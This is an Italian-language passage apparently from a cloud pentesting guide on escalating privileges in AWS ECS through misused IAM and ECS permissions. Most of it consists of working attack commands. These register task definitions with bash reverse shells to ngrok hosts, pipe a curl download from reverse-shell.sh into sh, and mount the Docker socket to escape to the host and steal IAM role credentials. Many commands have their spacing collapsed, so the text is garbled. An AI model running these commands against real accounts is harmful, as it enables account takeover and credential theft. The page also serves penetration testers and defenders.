Un attaccante che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition e ecs:RunTask in ECS può generare una nuova definizione di task con un container malevolo che ruba le credenziali dei metadati e eseguirlo.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Impatto Potenziale: Privesc diretto a un diverso ruolo ECS.
Proprio come nell'esempio precedente, un attaccante che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask in ECS può generare una nuova definizione di task con un container malevolo che ruba le credenziali dei metadati e eseguirlo.
Tuttavia, in questo caso, è necessario avere un'istanza di container per eseguire la definizione di task malevola.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecsstart-task--task-definitioniam_exfiltration \--container-instances <instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Impatto Potenziale: Privesc diretto a qualsiasi ruolo ECS.
Proprio come nell'esempio precedente, un attaccante che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService o ecs:CreateService in ECS può generare una nuova definizione di task con un container malevolo che ruba le credenziali dei metadati e eseguirlo creando un nuovo servizio con almeno 1 task in esecuzione.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn "$ECS_ROLE_ARN" \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a serviceawsecscreate-service--service-nameexfiltration \--task-definition iam_exfiltration \--desired-count 1 \--cluster "$CLUSTER_ARN" \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"# Run the task updating a serviceawsecsupdate-service--cluster<CLUSTERNAME> \--service <SERVICENAME> \--task-definition <NEWTASKDEFINITIONNAME>
Impatto Potenziale: Privesc diretto a qualsiasi ruolo ECS.
In realtà, solo con quei permessi è possibile utilizzare le sovrascritture per eseguire comandi arbitrari in un contenitore con un ruolo arbitrario con qualcosa come:
Questo scenario è simile ai precedenti ma senza il permesso iam:PassRole.
Questo è comunque interessante perché se puoi eseguire un contenitore arbitrario, anche se senza un ruolo, potresti eseguire un contenitore privilegiato per evadere al nodo e rubare il ruolo IAM EC2 e i ruoli degli altri contenitori ECS in esecuzione nel nodo.
Potresti persino forzare altre attività a essere eseguite all'interno dell'istanza EC2 che comprometti per rubare le loro credenziali (come discusso nella sezione Privesc to node).
Questo attacco è possibile solo se il cluster ECS utilizza istanze EC2 e non Fargate.
printf'[{"name":"exfil_creds","image":"python:latest","entryPoint":["sh", "-c"],"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],"mountPoints": [{"readOnly": false,"containerPath": "/var/run/docker.sock","sourceVolume": "docker-socket"}]}]'>/tmp/task.jsonprintf'[{"name": "docker-socket","host": {"sourcePath": "/var/run/docker.sock"}}]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu 256--memory512 \--requires-compatibilities '["EC2"]' \--container-definitions file:///tmp/task.json \--volumes file:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-type EC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
Un attaccante con ecs:ExecuteCommand, ecs:DescribeTasks può eseguire comandi all'interno di un container in esecuzione ed esfiltrare il ruolo IAM ad esso associato (hai bisogno dei permessi di descrizione perché è necessario eseguire aws ecs execute-command).
Tuttavia, per farlo, l'istanza del container deve eseguire l'agent ExecuteCommand (che per impostazione predefinita non è).
Pertanto, l'attaccante potrebbe provare a:
Provare a eseguire un comando in ogni container in esecuzione
# List enableExecuteCommand on each taskfor cluster in $(awsecslist-clusters|jq.clusterArns|grep'"'|cut-d'"'-f2); doecho"Cluster $cluster"for task in $(awsecslist-tasks--cluster"$cluster"|jq.taskArns|grep'"'|cut-d'"'-f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command "sh" \--cluster "$CLUSTER_ARN" \--task "$TASK_ARN"
Se ha ecs:RunTask, esegui un'attività con aws ecs run-task --enable-execute-command [...]
Se ha ecs:StartTask, esegui un'attività con aws ecs start-task --enable-execute-command [...]
Se ha ecs:CreateService, crea un servizio con aws ecs create-service --enable-execute-command [...]
Se ha ecs:UpdateService, aggiorna un servizio con aws ecs update-service --enable-execute-command [...]
Puoi trovare esempi di queste opzioni nelle sezioni precedenti di privesc ECS.
Impatto Potenziale: Privesc a un ruolo diverso associato ai contenitori.
ssm:StartSession
Controlla nella pagina di privesc ssm come puoi abusare di questo permesso per privesc a ECS:
Un attaccante con i permessi ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet e ecs:DescribeTaskSets può creare un set di attività malevole per un servizio ECS esistente e aggiornare il set di attività primario. Questo consente all'attaccante di eseguire codice arbitrario all'interno del servizio.
bashCopycode#Registerataskdefinitionwithareverseshellecho'{"family": "malicious-task","containerDefinitions": [{"name": "malicious-container","image": "alpine","command": ["sh","-c","apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"]}]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceaws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the serviceaws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Impatto Potenziale: Eseguire codice arbitrario nel servizio interessato, potenzialmente influenzando la sua funzionalità o esfiltrando dati sensibili.
